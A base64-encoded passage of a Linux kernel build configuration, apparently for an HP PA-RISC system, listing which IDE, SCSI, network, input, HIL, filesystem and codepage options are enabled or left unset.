WCBpcyBub3Qgc2V0DQojIENPTkZJR19BTUQ3NFhYX09WRVJSSURFIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0JMS19ERVZfQ01ENjRYIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0JMS19ERVZfQ1k4MkM2OTMgaXMgbm90IHNldA0KIyBDT05GSUdf
QkxLX0RFVl9DUzU1MzAgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9I
UFQzNFggaXMgbm90IHNldA0KIyBDT05GSUdfSFBUMzRYX0FVVE9ETUEgaXMg
bm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9IUFQzNjYgaXMgbm90IHNldA0K
Q09ORklHX0JMS19ERVZfTlM4NzQxNT15DQojIENPTkZJR19CTEtfREVWX09Q
VEk2MjEgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9QREMyMDJYWCBp
cyBub3Qgc2V0DQojIENPTkZJR19QREMyMDJYWF9CVVJTVCBpcyBub3Qgc2V0
DQojIENPTkZJR19QREMyMDJYWF9GT1JDRSBpcyBub3Qgc2V0DQojIENPTkZJ
R19CTEtfREVWX1NWV0tTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZf
U0lTNTUxMyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX1NMQzkwRTY2
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfVFJNMjkwIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0JMS19ERVZfVklBODJDWFhYIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0lERV9DSElQU0VUUyBpcyBub3Qgc2V0DQojIENPTkZJR19JREVE
TUFfQVVUTyBpcyBub3Qgc2V0DQojIENPTkZJR19JREVETUFfSVZCIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0RNQV9OT05QQ0kgaXMgbm90IHNldA0KIyBDT05G
SUdfQkxLX0RFVl9JREVfTU9ERVMgaXMgbm90IHNldA0KIyBDT05GSUdfQkxL
X0RFVl9BVEFSQUlEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfQVRB
UkFJRF9QREMgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9BVEFSQUlE
X0hQVCBpcyBub3Qgc2V0DQoNCiMNCiMgU0NTSSBzdXBwb3J0DQojDQpDT05G
SUdfU0NTST15DQoNCiMNCiMgU0NTSSBzdXBwb3J0IHR5cGUgKGRpc2ssIHRh
cGUsIENELVJPTSkNCiMNCkNPTkZJR19CTEtfREVWX1NEPXkNCkNPTkZJR19T
RF9FWFRSQV9ERVZTPTQwDQpDT05GSUdfQ0hSX0RFVl9TVD15DQojIENPTkZJ
R19DSFJfREVWX09TU1QgaXMgbm90IHNldA0KQ09ORklHX0JMS19ERVZfU1I9
eQ0KIyBDT05GSUdfQkxLX0RFVl9TUl9WRU5ET1IgaXMgbm90IHNldA0KQ09O
RklHX1NSX0VYVFJBX0RFVlM9Mg0KQ09ORklHX0NIUl9ERVZfU0c9eQ0KDQoj
DQojIFNvbWUgU0NTSSBkZXZpY2VzIChlLmcuIENEIGp1a2Vib3gpIHN1cHBv
cnQgbXVsdGlwbGUgTFVOcw0KIw0KIyBDT05GSUdfU0NTSV9ERUJVR19RVUVV
RVMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9NVUxUSV9MVU4gaXMgbm90
IHNldA0KIyBDT05GSUdfU0NTSV9DT05TVEFOVFMgaXMgbm90IHNldA0KIyBD
T05GSUdfU0NTSV9MT0dHSU5HIGlzIG5vdCBzZXQNCg0KIw0KIyBTQ1NJIGxv
dy1sZXZlbCBkcml2ZXJzDQojDQojIENPTkZJR19CTEtfREVWXzNXX1hYWFhf
UkFJRCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJXzcwMDBGQVNTVCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0FDQVJEIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfQUhBMTUyWCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0FI
QTE1NDIgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSEExNzQwIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfQUFDUkFJRCBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX0FJQzdYWFggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9B
SUM3WFhYX09MRCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RQVF9JMk8g
aXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BRFZBTlNZUyBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX0lOMjAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX0FNNTNDOTc0IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTUVHQVJB
SUQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9CVVNMT0dJQyBpcyBub3Qg
c2V0DQojIENPTkZJR19TQ1NJX0NQUUZDVFMgaXMgbm90IHNldA0KIyBDT05G
SUdfU0NTSV9ETVgzMTkxRCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RU
QzMyODAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9FQVRBIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfRUFUQV9ETUEgaXMgbm90IHNldA0KIyBDT05G
SUdfU0NTSV9FQVRBX1BJTyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0ZV
VFVSRV9ET01BSU4gaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9HRFRIIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfR0VORVJJQ19OQ1I1MzgwIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfSU5JVElPIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfSU5JQTEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX05D
UjUzQzQwNkEgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9MQVNJNzAwIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTkNSNTNDN3h4IGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NDU0lfU1lNNTNDOFhYXzIgaXMgbm90IHNldA0KIyBDT05G
SUdfU0NTSV9OQ1I1M0M4WFggaXMgbm90IHNldA0KQ09ORklHX1NDU0lfU1lN
NTNDOFhYPXkNCiMgQ09ORklHX1NDU0lfWkFMT04gaXMgbm90IHNldA0KQ09O
RklHX1NDU0lfTkNSNTNDOFhYX0RFRkFVTFRfVEFHUz04DQpDT05GSUdfU0NT
SV9OQ1I1M0M4WFhfTUFYX1RBR1M9MzINCkNPTkZJR19TQ1NJX05DUjUzQzhY
WF9TWU5DPTIwDQojIENPTkZJR19TQ1NJX05DUjUzQzhYWF9QUk9GSUxFIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX0lPTUFQUEVEIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1BRU19QRFMgaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9OQ1I1M0M4WFhfU1lNQklPU19DT01Q
QVQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9QQVMxNiBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX1BDSTIwMDAgaXMgbm90IHNldA0KIyBDT05GSUdf
U0NTSV9QQ0kyMjIwSSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1BTSTI0
MEkgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9RTE9HSUNfRkFTIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfUUxPR0lDX0lTUCBpcyBub3Qgc2V0DQoj
IENPTkZJR19TQ1NJX1FMT0dJQ19GQyBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX1FMT0dJQ18xMjgwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU0lN
NzEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfU1lNNTNDNDE2IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfREMzOTBUIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfVDEyOCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1UxNF8z
NEYgaXMgbm90IHNldA0KQ09ORklHX1NDU0lfREVCVUc9bQ0KDQojDQojIFBD
TUNJQSBTQ1NJIGFkYXB0ZXIgc3VwcG9ydA0KIw0KIyBDT05GSUdfU0NTSV9Q
Q01DSUEgaXMgbm90IHNldA0KDQojDQojIE5ldHdvcmsgZGV2aWNlIHN1cHBv
cnQNCiMNCkNPTkZJR19ORVRERVZJQ0VTPXkNCg0KIw0KIyBBUkNuZXQgZGV2
aWNlcw0KIw0KIyBDT05GSUdfQVJDTkVUIGlzIG5vdCBzZXQNCkNPTkZJR19E
VU1NWT1tDQojIENPTkZJR19CT05ESU5HIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0VRVUFMSVpFUiBpcyBub3Qgc2V0DQojIENPTkZJR19UVU4gaXMgbm90IHNl
dA0KIyBDT05GSUdfRVRIRVJUQVAgaXMgbm90IHNldA0KDQojDQojIEV0aGVy
bmV0ICgxMCBvciAxMDBNYml0KQ0KIw0KQ09ORklHX05FVF9FVEhFUk5FVD15
DQojIENPTkZJR19MQVNJXzgyNTk2IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NV
TkxBTkNFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qg
c2V0DQojIENPTkZJR19TVU5CTUFDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NV
TlFFIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NVTkdFTSBpcyBub3Qgc2V0DQoj
IENPTkZJR19ORVRfVkVORE9SXzNDT00gaXMgbm90IHNldA0KIyBDT05GSUdf
TEFOQ0UgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX1ZFTkRPUl9TTUMgaXMg
bm90IHNldA0KIyBDT05GSUdfTkVUX1ZFTkRPUl9SQUNBTCBpcyBub3Qgc2V0
DQojIENPTkZJR19BVDE3MDAgaXMgbm90IHNldA0KIyBDT05GSUdfREVQQ0Eg
aXMgbm90IHNldA0KIyBDT05GSUdfSFAxMDAgaXMgbm90IHNldA0KIyBDT05G
SUdfTkVUX0lTQSBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1BDST15DQojIENP
TkZJR19QQ05FVDMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FEQVBURUNfU1RB
UkZJUkUgaXMgbm90IHNldA0KIyBDT05GSUdfQUMzMjAwIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0FQUklDT1QgaXMgbm90IHNldA0KIyBDT05GSUdfQ1M4OXgw
IGlzIG5vdCBzZXQNCkNPTkZJR19UVUxJUD15DQojIENPTkZJR19UVUxJUF9N
V0kgaXMgbm90IHNldA0KIyBDT05GSUdfVFVMSVBfTU1JTyBpcyBub3Qgc2V0
DQojIENPTkZJR19ERTRYNSBpcyBub3Qgc2V0DQojIENPTkZJR19ER1JTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0RNOTEwMiBpcyBub3Qgc2V0DQojIENPTkZJ
R19FRVBSTzEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19MTkUzOTAgaXMgbm90
IHNldA0KIyBDT05GSUdfRkVBTE5YIGlzIG5vdCBzZXQNCiMgQ09ORklHX05B
VFNFTUkgaXMgbm90IHNldA0KIyBDT05GSUdfTkUyS19QQ0kgaXMgbm90IHNl
dA0KIyBDT05GSUdfTkUzMjEwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VTMzIx
MCBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5Q1AgaXMgbm90IHNldA0KIyBD
T05GSUdfODEzOVRPTyBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5VE9PX1BJ
TyBpcyBub3Qgc2V0DQojIENPTkZJR184MTM5VE9PX1RVTkVfVFdJU1RFUiBp
cyBub3Qgc2V0DQojIENPTkZJR184MTM5VE9PXzgxMjkgaXMgbm90IHNldA0K
IyBDT05GSUdfODEzOV9ORVdfUlhfUkVTRVQgaXMgbm90IHNldA0KIyBDT05G
SUdfU0lTOTAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VQSUMxMDAgaXMgbm90
IHNldA0KIyBDT05GSUdfU1VOREFOQ0UgaXMgbm90IHNldA0KIyBDT05GSUdf
VExBTiBpcyBub3Qgc2V0DQojIENPTkZJR19WSUFfUkhJTkUgaXMgbm90IHNl
dA0KIyBDT05GSUdfVklBX1JISU5FX01NSU8gaXMgbm90IHNldA0KIyBDT05G
SUdfV0lOQk9ORF84NDAgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUX1BPQ0tF
VCBpcyBub3Qgc2V0DQoNCiMNCiMgRXRoZXJuZXQgKDEwMDAgTWJpdCkNCiMN
CiMgQ09ORklHX0FDRU5JQyBpcyBub3Qgc2V0DQojIENPTkZJR19ETDJLIGlz
IG5vdCBzZXQNCiMgQ09ORklHX01ZUklfU0JVUyBpcyBub3Qgc2V0DQojIENP
TkZJR19OUzgzODIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hBTUFDSEkgaXMg
bm90IHNldA0KIyBDT05GSUdfWUVMTE9XRklOIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NLOThMSU4gaXMgbm90IHNldA0KIyBDT05GSUdfRkRESSBpcyBub3Qg
c2V0DQojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0DQojIENPTkZJR19QTElQ
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1BQUCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TTElQIGlzIG5vdCBzZXQNCg0KIw0KIyBXaXJlbGVzcyBMQU4gKG5vbi1o
YW1yYWRpbykNCiMNCiMgQ09ORklHX05FVF9SQURJTyBpcyBub3Qgc2V0DQoN
CiMNCiMgVG9rZW4gUmluZyBkZXZpY2VzDQojDQojIENPTkZJR19UUiBpcyBu
b3Qgc2V0DQojIENPTkZJR19ORVRfRkMgaXMgbm90IHNldA0KIyBDT05GSUdf
UkNQQ0kgaXMgbm90IHNldA0KIyBDT05GSUdfU0hBUEVSIGlzIG5vdCBzZXQN
Cg0KIw0KIyBXYW4gaW50ZXJmYWNlcw0KIw0KIyBDT05GSUdfV0FOIGlzIG5v
dCBzZXQNCg0KIw0KIyBQQ01DSUEgbmV0d29yayBkZXZpY2Ugc3VwcG9ydA0K
Iw0KIyBDT05GSUdfTkVUX1BDTUNJQSBpcyBub3Qgc2V0DQoNCiMNCiMgSW5w
dXQgY29yZSBzdXBwb3J0DQojDQpDT05GSUdfSU5QVVQ9eQ0KQ09ORklHX0lO
UFVUX0tFWUJERVY9eQ0KQ09ORklHX0lOUFVUX01PVVNFREVWPXkNCkNPTkZJ
R19JTlBVVF9NT1VTRURFVl9TQ1JFRU5fWD0xMDI0DQpDT05GSUdfSU5QVVRf
TU9VU0VERVZfU0NSRUVOX1k9NzY4DQojIENPTkZJR19JTlBVVF9KT1lERVYg
aXMgbm90IHNldA0KQ09ORklHX0lOUFVUX0VWREVWPXkNCg0KIw0KIyBDaGFy
YWN0ZXIgZGV2aWNlcw0KIw0KQ09ORklHX1ZUPXkNCkNPTkZJR19WVF9DT05T
T0xFPXkNCiMgQ09ORklHX0dTQ19QUzIgaXMgbm90IHNldA0KQ09ORklHX1NF
UklBTD15DQpDT05GSUdfU0VSSUFMX0NPTlNPTEU9eQ0KQ09ORklHX1NFUklB
TF9HU0M9eQ0KIyBDT05GSUdfU0VSSUFMX0VYVEVOREVEIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NFUklBTF9OT05TVEFOREFSRCBpcyBub3Qgc2V0DQpDT05G
SUdfVU5JWDk4X1BUWVM9eQ0KQ09ORklHX1VOSVg5OF9QVFlfQ09VTlQ9MjU2
DQoNCiMNCiMgSTJDIHN1cHBvcnQNCiMNCiMgQ09ORklHX0kyQyBpcyBub3Qg
c2V0DQoNCiMNCiMgTWljZQ0KIw0KIyBDT05GSUdfQlVTTU9VU0UgaXMgbm90
IHNldA0KQ09ORklHX01PVVNFPXkNCiMgQ09ORklHX1BTTU9VU0UgaXMgbm90
IHNldA0KIyBDT05GSUdfODJDNzEwX01PVVNFIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1BDMTEwX1BBRCBpcyBub3Qgc2V0DQoNCiMNCiMgSm95c3RpY2tzDQoj
DQojIENPTkZJR19JTlBVVF9HQU1FUE9SVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19JTlBVVF9OUzU1OCBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9MSUdI
VE5JTkcgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfUENJR0FNRSBpcyBu
b3Qgc2V0DQojIENPTkZJR19JTlBVVF9DUzQ2MVggaXMgbm90IHNldA0KIyBD
T05GSUdfSU5QVVRfRU1VMTBLMSBpcyBub3Qgc2V0DQpDT05GSUdfSU5QVVRf
U0VSSU89eQ0KIyBDT05GSUdfSU5QVVRfU0VSUE9SVCBpcyBub3Qgc2V0DQoN
CiMNCiMgSm95c3RpY2tzDQojDQojIENPTkZJR19JTlBVVF9BTkFMT0cgaXMg
bm90IHNldA0KIyBDT05GSUdfSU5QVVRfQTNEIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0lOUFVUX0FESSBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9DT0JS
QSBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9HRjJLIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0lOUFVUX0dSSVAgaXMgbm90IHNldA0KIyBDT05GSUdfSU5Q
VVRfSU5URVJBQ1QgaXMgbm90IHNldA0KIyBDT05GSUdfSU5QVVRfVE1EQyBp
cyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9TSURFV0lOREVSIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0lOUFVUX0lGT1JDRV9VU0IgaXMgbm90IHNldA0KIyBD
T05GSUdfSU5QVVRfSUZPUkNFXzIzMiBpcyBub3Qgc2V0DQojIENPTkZJR19J
TlBVVF9XQVJSSU9SIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX01BR0VM
TEFOIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX1NQQUNFT1JCIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0lOUFVUX1NQQUNFQkFMTCBpcyBub3Qgc2V0DQoj
IENPTkZJR19JTlBVVF9TVElOR0VSIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lO
UFVUX0RCOSBpcyBub3Qgc2V0DQojIENPTkZJR19JTlBVVF9HQU1FQ09OIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0lOUFVUX1RVUkJPR1JBRlggaXMgbm90IHNl
dA0KIyBDT05GSUdfUUlDMDJfVEFQRSBpcyBub3Qgc2V0DQoNCiMNCiMgV2F0
Y2hkb2cgQ2FyZHMNCiMNCiMgQ09ORklHX1dBVENIRE9HIGlzIG5vdCBzZXQN
CkNPTkZJR19HRU5SVEM9eQ0KIyBDT05GSUdfSU5URUxfUk5HIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX05WUkFNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1JUQyBp
cyBub3Qgc2V0DQojIENPTkZJR19EVExLIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1IzOTY0IGlzIG5vdCBzZXQNCiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBz
ZXQNCg0KIw0KIyBGdGFwZSwgdGhlIGZsb3BweSB0YXBlIGRldmljZSBkcml2
ZXINCiMNCiMgQ09ORklHX0ZUQVBFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FH
UCBpcyBub3Qgc2V0DQojIENPTkZJR19EUk0gaXMgbm90IHNldA0KDQojDQoj
IFBDTUNJQSBjaGFyYWN0ZXIgZGV2aWNlcw0KIw0KIyBDT05GSUdfUENNQ0lB
X1NFUklBTF9DUyBpcyBub3Qgc2V0DQoNCiMNCiMgSElMIHN1cHBvcnQNCiMN
CkNPTkZJR19ISUw9eQ0KIyBDT05GSUdfSElMX0tCRF9CQVNJQyBpcyBub3Qg
c2V0DQoNCiMNCiMgIEhJTCBkcml2ZXIgY29yZSBzdXBwb3J0DQojDQpDT05G
SUdfSFBfU0RDPXkNCkNPTkZJR19IUF9TRENfUlRDPW0NCkNPTkZJR19ISUxf
TUxDPXkNCkNPTkZJR19IUF9TRENfTUxDPXkNCg0KIw0KIyAgSElMIGRldmlj
ZSBkcml2ZXINCiMNCkNPTkZJR19ISUxfS0JEPXkNCkNPTkZJR19ISUxfUFRS
PXkNCg0KIw0KIyBNdWx0aW1lZGlhIGRldmljZXMNCiMNCiMgQ09ORklHX1ZJ
REVPX0RFViBpcyBub3Qgc2V0DQoNCiMNCiMgRmlsZSBzeXN0ZW1zDQojDQoj
IENPTkZJR19RVU9UQSBpcyBub3Qgc2V0DQojIENPTkZJR19BVVRPRlNfRlMg
aXMgbm90IHNldA0KIyBDT05GSUdfQVVUT0ZTNF9GUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19SRUlTRVJGU19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19SRUlT
RVJGU19DSEVDSyBpcyBub3Qgc2V0DQojIENPTkZJR19SRUlTRVJGU19QUk9D
X0lORk8gaXMgbm90IHNldA0KIyBDT05GSUdfQURGU19GUyBpcyBub3Qgc2V0
DQojIENPTkZJR19BREZTX0ZTX1JXIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FG
RlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfSEZTX0ZTIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0JGU19GUyBpcyBub3Qgc2V0DQpDT05GSUdfRVhUM19GUz15
DQpDT05GSUdfSkJEPXkNCiMgQ09ORklHX0pCRF9ERUJVRyBpcyBub3Qgc2V0
DQpDT05GSUdfRkFUX0ZTPW0NCkNPTkZJR19NU0RPU19GUz1tDQojIENPTkZJ
R19VTVNET1NfRlMgaXMgbm90IHNldA0KQ09ORklHX1ZGQVRfRlM9bQ0KIyBD
T05GSUdfRUZTX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX0pGRlNfRlMgaXMg
bm90IHNldA0KIyBDT05GSUdfSkZGUzJfRlMgaXMgbm90IHNldA0KIyBDT05G
SUdfQ1JBTUZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1RNUEZTIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1JBTUZTIGlzIG5vdCBzZXQNCkNPTkZJR19JU085NjYw
X0ZTPW0NCkNPTkZJR19KT0xJRVQ9eQ0KQ09ORklHX1pJU09GUz15DQpDT05G
SUdfTUlOSVhfRlM9bQ0KQ09ORklHX1ZYRlNfRlM9bQ0KIyBDT05GSUdfTlRG
U19GUyBpcyBub3Qgc2V0DQojIENPTkZJR19OVEZTX1JXIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0hQRlNfRlMgaXMgbm90IHNldA0KQ09ORklHX1BST0NfRlM9
eQ0KIyBDT05GSUdfREVWRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfREVW
RlNfTU9VTlQgaXMgbm90IHNldA0KIyBDT05GSUdfREVWRlNfREVCVUcgaXMg
bm90IHNldA0KQ09ORklHX0RFVlBUU19GUz15DQojIENPTkZJR19RTlg0RlNf
RlMgaXMgbm90IHNldA0KIyBDT05GSUdfUU5YNEZTX1JXIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1JPTUZTX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19FWFQyX0ZT
PXkNCiMgQ09ORklHX1NZU1ZfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfVURG
X0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VERl9SVyBpcyBub3Qgc2V0DQoj
IENPTkZJR19VRlNfRlMgaXMgbm90IHNldA0KIyBDT05GSUdfVUZTX0ZTX1dS
SVRFIGlzIG5vdCBzZXQNCg0KIw0KIyBOZXR3b3JrIEZpbGUgU3lzdGVtcw0K
Iw0KIyBDT05GSUdfQ09EQV9GUyBpcyBub3Qgc2V0DQojIENPTkZJR19JTlRF
Uk1FWlpPX0ZTIGlzIG5vdCBzZXQNCkNPTkZJR19ORlNfRlM9eQ0KQ09ORklH
X05GU19WMz15DQojIENPTkZJR19ST09UX05GUyBpcyBub3Qgc2V0DQpDT05G
SUdfTkZTRD15DQpDT05GSUdfTkZTRF9WMz15DQpDT05GSUdfU1VOUlBDPXkN
CkNPTkZJR19MT0NLRD15DQpDT05GSUdfTE9DS0RfVjQ9eQ0KQ09ORklHX1NN
Ql9GUz1tDQojIENPTkZJR19TTUJfTkxTX0RFRkFVTFQgaXMgbm90IHNldA0K
IyBDT05GSUdfTkNQX0ZTIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX1BB
Q0tFVF9TSUdOSU5HIGlzIG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX0lPQ1RM
X0xPQ0tJTkcgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfU1RST05HIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX05GU19OUyBpcyBub3Qgc2V0DQoj
IENPTkZJR19OQ1BGU19PUzJfTlMgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQ
RlNfU01BTExET1MgaXMgbm90IHNldA0KIyBDT05GSUdfTkNQRlNfTkxTIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05DUEZTX0VYVFJBUyBpcyBub3Qgc2V0DQpD
T05GSUdfWklTT0ZTX0ZTPW0NCkNPTkZJR19aTElCX0ZTX0lORkxBVEU9bQ0K
DQojDQojIFBhcnRpdGlvbiBUeXBlcw0KIw0KIyBDT05GSUdfUEFSVElUSU9O
X0FEVkFOQ0VEIGlzIG5vdCBzZXQNCkNPTkZJR19NU0RPU19QQVJUSVRJT049
eQ0KQ09ORklHX1NNQl9OTFM9eQ0KQ09ORklHX05MUz15DQoNCiMNCiMgTmF0
aXZlIExhbmd1YWdlIFN1cHBvcnQNCiMNCkNPTkZJR19OTFNfREVGQVVMVD0i
aXNvODg1OS0xIg0KQ09ORklHX05MU19DT0RFUEFHRV80Mzc9bQ0KIyBDT05G
SUdfTkxTX0NPREVQQUdFXzczNyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNf
Q09ERVBBR0VfNzc1IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFH
RV84NTAgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1MiBp
cyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODU1IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84NTcgaXMgbm90IHNldA0KIyBD
T05GSUdfTkxTX0NPREVQQUdFXzg2MCBpcyBub3Qgc2V0DQojIENPTkZJR19O
TFNfQ09ERVBBR0VfODYxIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RF
UEFHRV84NjIgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2
MyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfODY0IGlzIG5v
dCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV84NjUgaXMgbm90IHNldA0K
IyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NiBpcyBub3Qgc2V0DQojIENPTkZJ
R19OTFNfQ09ERVBBR0VfODY5IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19D
T0RFUEFHRV85MzYgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0NPREVQQUdF
Xzk1MCBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfQ09ERVBBR0VfOTMyIGlz
IG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFHRV85NDkgaXMgbm90IHNl
dA0KIyBDT05GSUdfTkxTX0NPREVQQUdFXzg3NCBpcyBub3Qgc2V0DQojIENP
TkZJR19OTFNfSVNPODg1OV84IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19D
T0RFUEFHRV8xMjUwIGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19DT0RFUEFH
RV8xMjUxIGlzIG5vdCBzZXQNCkNPTkZJR19OTFNfSVNPODg1OV8xPW0NCiMg
Q09ORklHX05MU19JU084ODU5XzIgaXMgbm90IHNldA0KIyBDT05GSUdfTkxT
X0lTTzg4NTlfMyBpcyBub3Qgc2V0DQojIENPTkZJR19OTFNfSVNPODg1OV80
IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084ODU5XzUgaXMgbm90IHNl
dA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfNiBpcyBub3Qgc2V0DQojIENPTkZJ
R19OTFNfSVNPODg1OV83IGlzIG5vdCBzZXQNCiMgQ09ORklHX05MU19JU084
ODU5XzkgaXMgbm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfMTMgaXMg
bm90IHNldA0KIyBDT05GSUdfTkxTX0lTTzg4NTlfMTQgaXMgbm90IHNldA0K
IyBDT05GSUdfTkxTX0lTTzg4NTlfMTUgaXMgbm90IHNldA0KIyBDT05GSUdf
